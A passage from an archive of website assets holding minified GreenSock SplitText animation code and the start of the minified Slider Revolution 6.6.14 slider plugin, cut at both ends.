26EA\u26F2\u26F3\u26F5\u26FA\u26FD\u2705\u270A\u270B\u2728\u274C\u274E\u2753-\u2755\u2757\u2795-\u2797\u27B0\u27BF\u2B1B\u2B1C\u2B50\u2B55]|\uD83C[\uDC04\uDCCF\uDD8E\uDD91-\uDD9A\uDDE6-\uDDFF\uDE01\uDE1A\uDE2F\uDE32-\uDE36\uDE38-\uDE3A\uDE50\uDE51\uDF00-\uDF20\uDF2D-\uDF35\uDF37-\uDF7C\uDF7E-\uDF93\uDFA0-\uDFCA\uDFCF-\uDFD3\uDFE0-\uDFF0\uDFF4\uDFF8-\uDFFF]|\uD83D[\uDC00-\uDC3E\uDC40\uDC42-\uDCFC\uDCFF-\uDD3D\uDD4B-\uDD4E\uDD50-\uDD67\uDD7A\uDD95\uDD96\uDDA4\uDDFB-\uDE4F\uDE80-\uDEC5\uDECC\uDED0-\uDED2\uDEEB\uDEEC\uDEF4-\uDEF8]|\uD83E[\uDD10-\uDD3A\uDD3C-\uDD3E\uDD40-\uDD45\uDD47-\uDD4C\uDD50-\uDD6B\uDD80-\uDD97\uDDC0\uDDD0-\uDDE6])|(?:[#\*0-9\xA9\xAE\u203C\u2049\u2122\u2139\u2194-\u2199\u21A9\u21AA\u231A\u231B\u2328\u23CF\u23E9-\u23F3\u23F8-\u23FA\u24C2\u25AA\u25AB\u25B6\u25C0\u25FB-\u25FE\u2600-\u2604\u260E\u2611\u2614\u2615\u2618\u261D\u2620\u2622\u2623\u2626\u262A\u262E\u262F\u2638-\u263A\u2640\u2642\u2648-\u2653\u2660\u2663\u2665\u2666\u2668\u267B\u267F\u2692-\u2697\u2699\u269B\u269C\u26A0\u26A1\u26AA\u26AB\u26B0\u26B1\u26BD\u26BE\u26C4\u26C5\u26C8\u26CE\u26CF\u26D1\u26D3\u26D4\u26E9\u26EA\u26F0-\u26F5\u26F7-\u26FA\u26FD\u2702\u2705\u2708-\u270D\u270F\u2712\u2714\u2716\u271D\u2721\u2728\u2733\u2734\u2744\u2747\u274C\u274E\u2753-\u2755\u2757\u2763\u2764\u2795-\u2797\u27A1\u27B0\u27BF\u2934\u2935\u2B05-\u2B07\u2B1B\u2B1C\u2B50\u2B55\u3030\u303D\u3297\u3299]|\uD83C[\uDC04\uDCCF\uDD70\uDD71\uDD7E\uDD7F\uDD8E\uDD91-\uDD9A\uDDE6-\uDDFF\uDE01\uDE02\uDE1A\uDE2F\uDE32-\uDE3A\uDE50\uDE51\uDF00-\uDF21\uDF24-\uDF93\uDF96\uDF97\uDF99-\uDF9B\uDF9E-\uDFF0\uDFF3-\uDFF5\uDFF7-\uDFFF]|\uD83D[\uDC00-\uDCFD\uDCFF-\uDD3D\uDD49-\uDD4E\uDD50-\uDD67\uDD6F\uDD70\uDD73-\uDD7A\uDD87\uDD8A-\uDD8D\uDD90\uDD95\uDD96\uDDA4\uDDA5\uDDA8\uDDB1\uDDB2\uDDBC\uDDC2-\uDDC4\uDDD1-\uDDD3\uDDDC-\uDDDE\uDDE1\uDDE3\uDDE8\uDDEF\uDDF3\uDDFA-\uDE4F\uDE80-\uDEC5\uDECB-\uDED2\uDEE0-\uDEE5\uDEE9\uDEEB\uDEEC\uDEF0\uDEF3-\uDEF8]|\uD83E[\uDD10-\uDD3A\uDD3C-\uDD3E\uDD40-\uDD45\uDD47-\uDD4C\uDD50-\uDD6B\uDD80-\uDD97\uDDC0\uDDD0-\uDDE6])\uFE0F)/; /*! * SplitText: 3.9.1 * https://greensock.com * * @license Copyright 2008-2021, GreenSock. All rights reserved. * Subject to the terms at https://greensock.com/standard-license or for * Club GreenSock members, the agreement issued with that membership. * @author: Jack Doyle, jack@greensock.com */ var cu,fu,pu,du,gu=/(?:\r|\n|\t\t)/g,Du=/(?:\s\s+)/g,mu=function(t){return fu.getComputedStyle(t)},vu=Array.isArray,_u=[].slice,yu=function(t,e){var n;return vu(t)?t:"string"==(n=typeof t)&&!e&&t?_u.call(cu.querySelectorAll(t),0):t&&"object"===n&&"length"in t?_u.call(t,0):t?[t]:[]},xu=function(t){return"absolute"===t.position||!0===t.absolute},wu=function(t,e){for(var n,r=e.length;--r>-1;)if(n=e[r],t.substr(0,n.length)===n)return n.length},Cu=function(t,e){void 0===t&&(t="");var n=~t.indexOf("++"),r=1;return n&&(t=t.split("++").join("")),function(){return"<"+e+" style='position:relative;display:inline-block;'"+(t?" class='"+t+(n?r++:"")+"'>":">")}},Fu=function t(e,n,r){var i=e.nodeType;if(1===i||9===i||11===i)for(e=e.firstChild;e;e=e.nextSibling)t(e,n,r);else 3!==i&&4!==i||(e.nodeValue=e.nodeValue.split(n).join(r))},Eu=function(t,e){for(var n=e.length;--n>-1;)t.push(e[n])},bu=function(t,e,n){for(var r;t&&t!==e;){if(r=t._next||t.nextSibling)return r.textContent.charAt(0)===n;t=t.parentNode||t._parent}},Tu=function t(e){var n,r,i=yu(e.childNodes),o=i.length;for(n=0;nb&&("BR"!==h.nodeName||0===a)&&(p=[],B.push(p),x=v),R&&(h._x=h.offsetLeft,h._y=v,h._w=h.offsetWidth,h._h=h.offsetHeight),B&&((h._isSplit&&f||!N&&f||L&&f||!L&&h.parentNode.parentNode===t&&!h.parentNode._isSplit)&&(p.push(h),h._x-=y,bu(h,t,S)&&(h._wordEnd=!0)),"BR"===h.nodeName&&(h.nextSibling&&"BR"===h.nextSibling.nodeName||0===a)&&B.push([])));for(a=0;a-1;)I[a].parentNode.removeChild(I[a]);if(B){for(R&&(D=cu.createElement(O),t.appendChild(D),m=D.offsetWidth+"px",v=D.offsetParent===t?0:t.offsetLeft,t.removeChild(D)),g=t.style.cssText,t.style.cssText="display:none;";t.firstChild;)t.removeChild(t.firstChild);for(d=" "===S&&(!R||!L&&!N),a=0;at.clientHeight&&(t.style.height=s-F+"px",t.clientHeightt.clientWidth&&(t.style.width=o-E+"px",t.clientWidth",v=1,_=e.specialChars?"function"==typeof e.specialChars?e.specialChars:wu:null,y=cu.createElement("div"),x=t.parentNode;for(x.insertBefore(y,t),y.textContent=t.nodeValue,x.removeChild(t),h=-1!==(i=function t(e){var n=e.nodeType,r="";if(1===n||9===n||11===n){if("string"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)r+=t(e)}else if(3===n||4===n)return e.nodeValue;return r}(t=y)).indexOf("<"),!1!==e.reduceWhiteSpace&&(i=i.replace(Du," ").replace(gu,"")),h&&(i=i.split("<").join("{{LT}}")),u=i.length,o=(" "===i.charAt(0)?D:"")+n(),s=0;s":l,s+=c-1;else if(l===g&&i.charAt(s-1)!==g&&s){for(o+=v?m:"",v=0;i.charAt(s+1)===g;)o+=D,s++;s===u-1?o+=D:")"!==i.charAt(s+1)&&(o+=D+n(),v=1)}else"{"===l&&"{{LT}}"===i.substr(s,6)?(o+=p?r()+"{{LT}}":"{{LT}}",s+=5):l.charCodeAt(0)>=55296&&l.charCodeAt(0)<=56319||i.charCodeAt(s+1)>=65024&&i.charCodeAt(s+1)<=65039?(a=((i.substr(s,12).split(hu)||[])[1]||"").length||2,o+=p&&" "!==l?r()+i.substr(s,a)+"":i.substr(s,a),s+=a-1):o+=p&&" "!==l?r()+l+"":l;t.outerHTML=o+(v?m:""),h&&Fu(x,"{{LT}}","<")},Su=function t(e,n,r,i){var o,s,a=yu(e.childNodes),u=a.length,l=xu(n);if(3!==e.nodeType||u>1){for(n.absolute=!1,o=0;o-1;)r=this.elements[i],this._originals[i]=r.innerHTML,e=r.clientHeight,n=r.clientWidth,Su(r,t,s,a),Au(r,t,this.chars,this.words,this.lines,n,e);return this.chars.reverse(),this.words.reverse(),this.lines.reverse(),this.isSplit=!0,this},e.revert=function(){var t=this._originals;if(!t)throw"revert() call wasn't scoped properly.";return this.elements.forEach((function(e,n){return e.innerHTML=t[n]})),this.chars=[],this.words=[],this.lines=[],this.isSplit=!1,this},t.create=function(e,n){return new t(e,n)},t}();Ou.version="3.9.1",vr.registerPlugin(Xe,_r,Me,Me,Fr,vi,Mi,Ki,Bo,Zo,dr,Da,lu);var ku=du=window.punchgs=window.tpGS={};for(var Bu in ku.gsap=vr,ku.TweenLite=Xe,ku.TweenMax=_r,ku.TimelineLite=Me,ku.TimelineMax=Me,ku.CustomBounce=Fr,ku.CustomEase=vi,ku.CustomWiggle=Mi,ku.DrawSVGPlugin=Ki,ku.MotionPathPlugin=Bo,ku.ScrollToPlugin=Zo,ku.CSSPlugin=dr,ku.draggable=Da,ku.inertia=lu, /*! Map SplitText to tpGS TPGSSPLITTEXT */ ku.SplitText=Ou,ku.RAD2DEG=180/Math.PI,ku.DEG2RAD=Math.PI/180, /*! REGISTER MOTION PATH (BEZIER) */ ku.gsap.registerPlugin(ku.MotionPathPlugin),ku.gsap.config({nullTargetWarn:!1}), /*!FallBack for old and new Eases*/ ku.eases=ku.gsap.parseEase(),ku.eases)ku.eases.hasOwnProperty(Bu)&&void 0===ku[Bu]&&(ku[Bu]=ku.eases[Bu]) /*! FallBack for Essential Grid */;void 0!==du&&void 0!==du.TweenLite&&void 0===du.TweenLite.lagSmoothing&&(du.TweenLite.lagSmoothing=function(){});var Lu=[];function Nu(t,e,n){var r=document.createElement("canvas"),i=r.getContext("2d");if(r.width=100,r.height=200,0===t.length)i.fillStyle=n;else{for(var o=i.createLinearGradient(0,0,100,0),s=0;ss.stops.length?u+=Ru(s.points,l,e,o.points):a+=Ru(o.points,l,t,s.points)),a+=")",u+=")","sliding"===n&&(o.stops.length>s.stops.length?a=t:u=e),r.rFrom=a,r.rTo=u,r.tyep=n,Lu.push(r),{from:a,to:u}}}]); window.RS_MODULES = window.RS_MODULES || {}; window.RS_MODULES.tpGS = {loaded:true, version:"6.6.1"}; if (window.RS_MODULES.checkMinimal) window.RS_MODULES.checkMinimal();public/assets/js/rs6.min.js000060400001454040151724235750011611 0ustar00/*! - Slider Revolution JavaScript Plugin - ..........................xXXXXX................. ................. xXXXXX..xXXXXX..xXXXXX......... ..................xXXXXX..xXXXXX..xXXXXX......... ..........xXXXXX..xXXXXX..xXXXXX..xXXXXX......... ..........xXXXXX..xXXXXX..xXXXXX..xXXXXX......... ..........xXXXXX..xXXXXX..xXXXXX..xXXXXX......... ..........xXXXXX..xXXXXX..xXXXXX..xXXXXX......... ..........xXXXXX..xXXXXX..xXXXXX..xXXXXX......... .........,xXXXXX..xXXXXX..xXXXXX..xXXXXX......... .........,xXXXXX..xXXXXX..xXXXXX..xXXXXX......... .........,xXXXXX..xXXXXX..xXXXXX..xXXXXX......... ..........xXXXXX..xXXXXX..xXXXXX..xXXXXX......... .....................xxxxxxxxxxxxxxxxxxx......... .....................xxxxxxxxxxxxxxxxxxx......... .....................xxxxxxxxxxxxxxxxxxx......... DATE: 2023-03-15 @author: Krisztian Horvath, ThemePunch OHG. INTRODUCING GIT UPDATES AND DOCS AT: https://www.themepunch.com/support-center GET LICENSE AT: https://www.themepunch.com/links/slider_revolution_wordpress_regular_license LICENSE: Copyright (c) 2009-2019, ThemePunch. All rights reserved. This work is subject to the terms at https://www.themepunch.com/links/slider_revolution_wordpress_regular_license (Regular / Extended) */ !function(e,t){"use strict";var i="Slider Revolution 6.6.14";window.RSANYID=window.RSANYID===t?[]:window.RSANYID,window.RSANYID_sliderID=window.RSANYID_sliderID===t?[]:window.RSANYID_sliderID,e.fn.revolution=e.fn.revolution||{};var a=e.fn.revolution;e.fn.revolutionInit=function(i){return this.each(function(){a.ISM=a.ISM||a.is_mobile();for(var s=document.getElementsByClassName("rs-p-wp-fix");s[0];)s[0].parentNode.removeChild(s[0]);this.id!==t?(a[n]={anyid:[]},this.id=a.revCheckIDS(n,this,!0)):this.id="rs_module_"+Math.round(1e7*Math.random());var n=this.id,l=a.clone(i);a[n]=W(i),a[n].ignoreHeightChange=a.ISM&&"fullscreen"===a[n].sliderLayout&&a[n].ignoreHeightChange,a[n].option_export=l,a[n].anyid=[],a[n]._Lshortcuts={},a[n].computedStyle={},a[n].c=e(this),a[n].cpar=a[n].c.parent(),a[n].canvas=a[n].c.find("rs-slides"),a[n].caches={calcResponsiveLayersList:[],contWidthManager:{},middleHeights:{}},a[n].sbgs={},window.RSBrowser=window.RSBrowser===t?a.get_browser():window.RSBrowser,a.setIsIOS(),a.setIsChrome8889(),a.useBackdrop===t&&a.checkBackdrop(),a[n].noDetach=a[n].BUG_ie_clipPath="Edge"===window.RSBrowser||"IE"===window.RSBrowser,a.getByTag=r(),a[n].indexhelper=0,a[n].fullScreenOffsetResult=0,a[n].level=0,a[n].rtl=e("body").hasClass("rtl")||"rtl"==document.dir,a[n]._L=a[n]._L===t?{}:a[n]._L,a[n].emptyObject="{}",a[n].dimensionReCheck={},a.globalListener===t&&a.pageHandler(n),a[n].stopAfterLoops!=t&&a[n].stopAfterLoops>-1?a[n].looptogo=a[n].stopAfterLoops:a[n].looptogo="disabled",window.T=a[n],a[n].BUG_safari_clipPath="Safari"===a.get_browser()&&a.get_browser_version()>"12",a[n].minHeight="fullwidth"===a[n].sliderLayout||"carousel"===a[n].sliderType?0:a[n].minHeight!=t&&""!==a[n].minHeight?parseInt(a[n].minHeight,0):0,a[n].minHeight=a[n].minHeight===t?0:a[n].minHeight,a[n].isEdge="Edge"===a.get_browser(),o(n),a.updateVisibleArea(n),H(n),a.mesuredScrollBarDone||a.mesureScrollBar(),window.requestAnimationFrame(function(){if("fullscreen"===a[n].sliderLayout){var e=a.getFullscreenOffsets(n);0!==e&&a[n].cpar.height(a.getWinH(n)-e)}a[n].cpar[0].style.visibility="visible"}),"hero"==a[n].sliderType&&a[n].c.find("rs-slide").each(function(t){t>0&&e(this).remove()}),a[n].navigation.use="hero"!==a[n].sliderType&&("carousel"==a[n].sliderType||a[n].navigation.keyboardNavigation||"on"==a[n].navigation.mouseScrollNavigation||"carousel"==a[n].navigation.mouseScrollNavigation||a[n].navigation.touch.touchenabled||a[n].navigation.arrows.enable||a[n].navigation.bullets.enable||a[n].navigation.thumbnails.enable||a[n].navigation.tabs.enable),a[n].c.find("rs-bgvideo").each(function(){"RS-BGVIDEO"!==this.tagName||this.id!==t&&""!==this.id||(this.id="rs-bg-video-"+Math.round(1e6*Math.random()))}),tpGS.force3D="auto",!0===a[n].modal.useAsModal&&-1===a.RS_prioList.indexOf(n)&&(a.RS_toInit[n]=!1,a.RS_prioList.push(n)),a.RS_killedlist!==t&&-1!==a.RS_killedlist.indexOf(n)&&(a.RS_toInit[n]=!1,a.RS_prioList.push(n)),!0===a.RS_prioListFirstInit&&!0!==a[n].modal.useAsModal&&-1===a.RS_prioList.indexOf(n)&&(a.RS_toInit[n]=!1,a.RS_prioList.push(n)),a.initNextRevslider(n)})};a=window.RS_F;e.fn.extend({getRSJASONOptions:function(e){console.log(JSON.stringify(a[e].option_export))},getRSVersion:function(e){var t,i,a=window.SliderRevolutionVersion;if(!e){for(var r in t=i="---------------------------------------------------------\n",t+=" Currently Loaded Slider Revolution & SR Modules :\n"+i,a)a.hasOwnProperty(r)&&(t+=a[r].alias+": "+a[r].ver+"\n");t+=i}return e?a:t},revremoveslide:function(t){return this.each(function(){var i=this.id;if(!(t<0||t>a[i].slideamount)&&a[i]&&a[i].slides.length>0&&(t>0||t<=a[i].slides.length)){var r=a.gA(a[i].slides[t],"key");a[i].slideamount=a[i].slideamount-1,a[i].realslideamount=a[i].realslideamount-1,n("rs-bullet",r,i),n("rs-tab",r,i),n("rs-thumb",r,i),e(a[i].slides[t]).remove(),a[i].thumbs=s(a[i].thumbs,t),a.updateNavIndexes&&a.updateNavIndexes(i),t<=a[i].pr_active_key&&(a[i].pr_active_key=a[i].pr_active_key-1)}})},revaddcallback:function(e){return this.each(function(){a[this.id]&&(a[this.id].callBackArray===t&&(a[this.id].callBackArray=[]),a[this.id].callBackArray.push(e))})},revgetparallaxproc:function(){if(a[this[0].id])return a[this[0].id].scrollproc},revdebugmode:function(){},revscroll:function(t){return this.each(function(){var i=e(this);e("body,html").animate({scrollTop:i.offset().top+i.height()-t+"px"},{duration:400})})},revredraw:function(){return this.each(function(){v(this.id,t,!0)})},revGoToFrame:function(i){if(i.layerid!=t&&i.frame!=t&&this!=t&&null!=this&&(i.moduleid=this[0].id,i.targetlayer=e("#"+i.layerid),i.targetlayer!=t&&0!=i.targetlayer.length)){var r={layer:i.targetlayer,frame:i.frame,mode:"trigger",id:i.moduleid};!0===i.children&&(r.updateChildren=!0,r.fastforward=!0),a.renderLayerAnimation&&a.renderLayerAnimation(r)}},revkill:function(){return this.each(function(){if(this!=t&&null!=this){var i=this.id;a[i].c.data("conthover",1),a[i].c.data("conthoverchanged",1),a[i].c.trigger("revolution.slide.onpause"),a[i].tonpause=!0,a[i].c.trigger("stoptimer"),a[i].sliderisrunning=!1;var r="updateContainerSizes."+a[i].c.attr("id");a.window.off(r),tpGS.gsap.killTweensOf(a[i].c.find("*"),!1),tpGS.gsap.killTweensOf(a[i].c,!1),a[i].c.off("hover, mouseover, mouseenter,mouseleave, resize"),a[i].c.find("*").each(function(){var i=e(this);i.off("on, hover, mouseenter,mouseleave,mouseover, resize,restarttimer, stoptimer"),i.data("mySplitText",null),i.data("ctl",null),i.data("tween")!=t&&i.data("tween").kill(),i.data("pztl")!=t&&i.data("pztl").kill(),i.data("timeline_out")!=t&&i.data("timeline_out").kill(),i.data("timeline")!=t&&i.data("timeline").kill(),i.remove(),i.empty(),i=null}),tpGS.gsap.killTweensOf(a[i].c.find("*"),!1),tpGS.gsap.killTweensOf(a[i].c,!1),a[i].progressC.remove();try{a[i].c.closest(".rev_slider_wrapper").detach()}catch(e){}try{a[i].c.closest("rs-fullwidth-wrap").remove()}catch(e){}try{a[i].c.closest("rs-module-wrap").remove()}catch(e){}try{a[i].c.remove()}catch(e){}a[i].cpar.detach(),a[i].c.html(""),a[i].c=null,window[a[i].revapi]=t,delete a[i],delete a.RS_swapList[i],delete a.slidersToScroll[i],delete a.RS_toInit[i],a.nextSlider==i&&delete a.nextSlider,a.RS_prioList.splice(a.RS_prioList.indexOf(i),1),a.RS_killedlist=a.RS_killedlist===t?[]:a.RS_killedlist,-1===a.RS_killedlist.indexOf(i)&&a.RS_killedlist.push(i)}})},revpause:function(){return this.each(function(){var i=e(this);i!=t&&i.length>0&&e("body").find("#"+i.attr("id")).length>0&&(i.data("conthover",1),i.data("conthoverchanged",1),i.trigger("revolution.slide.onpause"),a[this.id].tonpause=!0,i.trigger("stoptimer"))})},revresume:function(){return this.each(function(){if(a[this.id]!==t){var i=e(this);i.data("conthover",0),i.data("conthoverchanged",1),i.trigger("revolution.slide.onresume"),a[this.id].tonpause=!1,i.trigger("starttimer")}})},revmodal:function(i){var r=this instanceof e?this[0]:this,o=r.id;a[r.id]!==t&&a.revModal(o,i)},revstart:function(){var i=this instanceof e?this[0]:this;return a[i.id]===t?(console.log("Slider is Not Existing"),!1):a[i.id].sliderisrunning||!0===a[i.id].initEnded?(console.log("Slider Is Running Already"),!1):(a[i.id].c=e(i),a[i.id].canvas=a[i.id].c.find("rs-slides"),h(i.id),!0)},revnext:function(){return this.each(function(){a[this.id]!==t&&a.callingNewSlide(this.id,1,"carousel"===a[this.id].sliderType)})},revprev:function(){return this.each(function(){a[this.id]!==t&&a.callingNewSlide(this.id,-1,"carousel"===a[this.id].sliderType)})},revmaxslide:function(){return e(this).find("rs-slide").length},revcurrentslide:function(){if(a[e(this)[0].id]!==t)return parseInt(a[e(this)[0].id].pr_active_key,0)+1},revlastslide:function(){return e(this).find("rs-slide").length},revshowslide:function(e){return this.each(function(){a[this.id]!==t&&e!==t&&a.callingNewSlide(this.id,"to"+(e-1))})},revcallslidewithid:function(e){return this.each(function(){a[this.id]!==t&&a.callingNewSlide(this.id,e,"carousel"===a[this.id].sliderType)})}}),a=e.fn.revolution,e.extend(!0,a,{isNumeric:function(e){return!isNaN(parseFloat(e))&&isFinite(e)},trim:function(e){return e!==t&&null!==e&&"string"==typeof e?e.trim():e},setCookie:function(e,t,i){var a=new Date;a.setTime(a.getTime()+60*i*60*1e3);var r="expires="+a.toUTCString();document.cookie=e+"="+t+";"+r+";path=/"},getCookie:function(e){for(var t=e+"=",i=document.cookie.split(";"),a=0;aa.mobileHeights.fpsInterval&&(a.mobileHeights.then=a.mobileHeights.now-a.mobileHeights.elapsed%a.mobileHeights.fpsInterval,a.getWindowDimension())},pageHandler:function(i){a.globalListener=!0,a.window=e(window),a.document=e(document),a.RS_toInit={},a.RS_prioList=[],a.RS_swapping=[],a.RS_swapList={},window.isSafari11===t&&(window.isSafari11=a.isSafari11()),a.ISM?(window.addEventListener("orientationchange",function(){a.getWindowDimension(!1,!0),setTimeout(function(){a.getWindowDimension(!0,!0)},400)}),window.addEventListener("resize",a.getWindowDimension),tpGS.gsap.delayedCall(3,function(){window.removeEventListener("resize",a.getWindowDimension)}),a.mobileHeights={fpsInterval:500,then:Date.now()},a[i].ignoreHeightChange||a.mobileHeights.checking||(a.mobileHeights.checking=!0,a.mobileTimedHeightCheck())):window.addEventListener("resize",a.getWindowDimension),a.getWindowDimension(!1),a.stickySupported=!1,"IE"!==window.RSBrowser&&(a.stickySupported=!0),a.checkParrentOverflows(i);var r=a.getByTag(document,"RS-MODULE");for(var o in r)r.hasOwnProperty(o)&&(a.RS_toInit[r[o].id]=!1,a.RS_prioList.push(r[o].id));a.nextSlider=i,a.RS_prioListFirstInit=!0,a.document.one("click",function(){a.clickedOnce=!0}),document.addEventListener("visibilitychange",B),a.hasNavClickListener===t&&(a.document.on(a.is_mobile()?"touchstart":"mouseenter",".tparrows, .tp-bullets, .tp-bullet, .tp-tab, .tp-thumb, .tp-thumbs, .tp-tabs, .tp-rightarrow, .tp-leftarrow",function(e){this.classList.add("rs-touchhover")}),a.document.on(a.is_mobile()?"touchend":"mouseleave",".tparrows, .tp-bullets, .tp-bullet, .tp-tab, .tp-thumb, .tp-tabs, .tp-rightarrow, .tp-leftarrow",function(e){var t=this;requestAnimationFrame(function(){t.classList.remove("rs-touchhover")})}),a.hasNavClickListener=!0)},destroyCanvas:function(e){e&&(e.width=e.height=0,e.remove(),e=null)},checkParrentOverflows:function(e){window.requestAnimationFrame(function(){for(var t=a[e].cpar[0];t.parentNode&&!1!==a.stickySupported;){if("RS-MODULE-WRAP"!==t.tagName&&"RS-FULLWIDTH-WRAP"!==t.tagName&&"RS-MODULE-WRAP"!==t.tagName&&-1===t.className.indexOf("wp-block-themepunch-revslider")){var i=window.getComputedStyle(t);a.stickySupported="hidden"!==i.overflow&&"hidden"!==i.overflowX&&"hidden"!==i.overflowY}t=t.parentNode}})},observeRemoved:function(e){new MutationObserver(function(t){try{document.body.contains(t[0].target)||a[e].c.revkill()}catch(t){}}).observe(a[e].cpar[0],{childList:!0})},initNextRevslider:function(e){a.RS_prioList[0]===e&&!1===a.RS_toInit[e]?(a.RS_toInit[e]="waiting",c(e),setTimeout(function(){a.initNextRevslider(e)},19)):a.RS_prioList[0]===e&&"waiting"===a.RS_toInit[e]?setTimeout(function(){a.initNextRevslider(e)},19):a.RS_prioList[0]===e&&!0===a.RS_toInit[e]?(a.RS_prioList.shift(),0!==a.RS_prioList.length&&setTimeout(function(){a.initNextRevslider(e)},19)):a.RS_prioList[0]!==e&&!1===a.RS_toInit[e]?setTimeout(function(){a.initNextRevslider(e)},19):0===a.RS_prioList.length&&!0===a.RS_toInit[e]&&c(e)},scrollTicker:function(e){1!=a.scrollTickerAdded&&(a.slidersToScroll=[],a.scrollTickerAdded=!0,a.ISM?(tpGS.gsap.ticker.fps(150),tpGS.gsap.ticker.add(function(){a.generalObserver()})):document.addEventListener("scroll",function(e){a.scrollRaF===t&&(a.scrollRaF=requestAnimationFrame(a.generalObserver.bind(this,!0)))},{passive:!0})),a.slidersToScroll.push(e),a.generalObserver(a.ISM)},generalObserver:function(e,i){for(var r in a.scrollRaF&&(a.scrollRaF=cancelAnimationFrame(a.scrollRaF)),a.lastwindowheight=a.lastwindowheight||a.winH,a.scrollY=window.scrollY,a.slidersToScroll)a.slidersToScroll.hasOwnProperty(r)&&a.scrollHandling(a.slidersToScroll[r],e,t,i)},wrapObserver:{targets:[],init:function(e){var t=1,i=0,r=0,o=s.bind(a.wrapObserver);function s(){if(r++,requestAnimationFrame(o),!(r-i<30/t)){i=r;for(var s=0;s1&&A(i),setTimeout(function(){a[i]!==t&&(a[i].revolutionSlideOnLoaded=!0,a[i].c.trigger("revolution.slide.onloaded"),a.calcScrollToId())},50)},a[i].startDelay),a[i].startDelay=0,window.requestAnimationFrame(function(){m(i)})):(a[i].waitForCountDown&&(A(i),a[i].waitForCountDown=!1),"playing"!=a[i].sliderlaststatus&&a[i].sliderlaststatus!=t||a[i].c.trigger("starttimer"),a[i].lastplayedvideos!=t&&a[i].lastplayedvideos.length>0&&e.each(a[i].lastplayedvideos,function(e,t){a.playVideo(t,i)}))},leaveViewPort:function(i){a[i].sliderlaststatus=a[i].sliderstatus,a[i].c.trigger("stoptimer"),a[i].playingvideos!=t&&a[i].playingvideos.length>0&&(a[i].lastplayedvideos=e.extend(!0,[],a[i].playingvideos),a[i].playingvideos&&e.each(a[i].playingvideos,function(e,t){a[i].leaveViewPortBasedStop=!0,a.stopVideo&&a.stopVideo(t,i)}))},scrollHandling:function(e,i,r,o){if(a[e]!==t){var s=a[e].topc!==t?a[e].topc[0].getBoundingClientRect():0===a[e].canv.height?a[e].cpar[0].getBoundingClientRect():a[e].c[0].getBoundingClientRect(),n=a.ISM?window.innerHeight:a.lastwindowheight;s.hheight=0===s.height?0===a[e].canv.height?a[e].module.height:a[e].canv.height:s.height,a[e].scrollproc=s.top<0||s.hheight>n&&s.topn?(s.bottom-n)/s.hheight:0;var l=Math.max(0,1-Math.abs(a[e].scrollproc));a[e].viewPort.enable&&("%"===a[e].viewPort.vaType[a[e].level]&&(a[e].viewPort.visible_area[a[e].level]<=l||l>0&&l<=1&&a[e].sbtimeline.fixed)||"px"===a[e].viewPort.vaType[a[e].level]&&(s.top<=0&&s.bottom>=a.lastwindowheight||s.top>=0&&s.bottom<=a.lastwindowheight||s.top>=0&&s.top=a[e].viewPort.visible_area[a[e].level]&&s.bottom=0})},getWinH:function(e){return a[e].ignoreHeightChange?a.mobileWinH:a.winH},getWindowDimension:function(e,i){!1===e?(a.rAfScrollbar="skip",a.winWAll=a.ISM&&window.visualViewport?document.documentElement.clientWidth:window.innerWidth,a.winWSbar=document.documentElement.clientWidth,a.ISM?(a.zoom=i?1:a.winWSbar/a.winWAll,a.winW=1!==a.zoom?a.winWSbar*a.zoom:Math.min(a.winWAll,a.winWSbar),a.winH=1!==a.zoom?window.innerHeight*a.zoom:window.innerHeight,i&&window.visualViewport&&(a.winH*=window.visualViewport.scale,a.winWAll*=window.visualViewport.scale),a.scrollBarWidth=0):(a.isModalOpen&&a.openModalId!==t&&a[a.openModalId]!==t&&a[a.openModalId].canv.height>a.winH?a.scrollBarWidth=a.mesuredScrollbarWidth:a.scrollBarWidth=a.winWAll-a.winWSbar,a.winW=Math.min(a.winWAll,a.winWSbar),a.winH=window.innerHeight),a.ISM&&a.winH>125&&(a.lastwindowheight!==t&&Math.abs(a.lastwindowheight-a.winH)<125?a.mobileWinH=a.lastwindowheight:a.mobileWinH=a.winH)):clearTimeout(a.windowDimenstionDelay),a.windowDimenstionDelay=setTimeout(function(){a.rAfScrollbar=t,a.winWAll=a.ISM&&window.visualViewport?document.documentElement.clientWidth:window.innerWidth,a.winWSbar=document.documentElement.clientWidth,a.ISM?(a.zoom=i?1:a.winWSbar/a.winWAll,a.RS_px_ratio=window.devicePixelRatio||window.screen.availWidth/document.documentElement.clientWidth,a.winW=1!==a.zoom?a.winWSbar*a.zoom:Math.min(a.winWAll,a.winWSbar),a.winH=1!==a.zoom?window.innerHeight*a.zoom:window.innerHeight,i&&window.visualViewport&&(a.winH*=window.visualViewport.scale,a.winWAll*=window.visualViewport.scale),a.scrollBarWidth=0,i&&tpGS.gsap.delayedCall(.1,function(){a.getWindowDimension()})):(a.isModalOpen&&a.openModalId!==t&&a[a.openModalId]!==t&&a[a.openModalId].canv.height>a.winH?a.scrollBarWidth=a.mesuredScrollbarWidth:a.scrollBarWidth=a.winWAll-a.winWSbar,a.winW=Math.min(a.winWAll,a.winWSbar),a.winH=window.innerHeight),a.ISM&&a.winH>125&&(a.lastwindowheight!==t&&Math.abs(a.lastwindowheight-a.winH)<125?a.mobileWinH=a.lastwindowheight:a.mobileWinH=a.winH),!1!==e&&a.document.trigger("updateContainerSizes")},100)},aC:function(t,i){t&&(t.classList&&t.classList.add?t.classList.add(""+i):e(t).addClass(i))},rC:function(t,i){t&&(t.classList&&t.classList.remove?t.classList.remove(""+i):e(t).removeClass(i))},sA:function(e,t,i){e&&e.setAttribute&&e.setAttribute("data-"+t,i)},gA:function(e,i,a){return e===t?t:e.hasAttribute&&e.hasAttribute("data-"+i)&&e.getAttribute("data-"+i)!==t&&null!==e.getAttribute("data-"+i)?e.getAttribute("data-"+i):a!==t?a:t},rA:function(e,t){e&&e.removeAttribute&&e.removeAttribute("data-"+t)},iWA:function(e,i){return a[e].justifyCarousel?"static"===i?a[e].carousel.wrapwidth:a[e].carousel.slide_widths[i!==t?i:a[e].carousel.focused]:a[e].gridwidth[a[e].level]},iHE:function(e,t){return 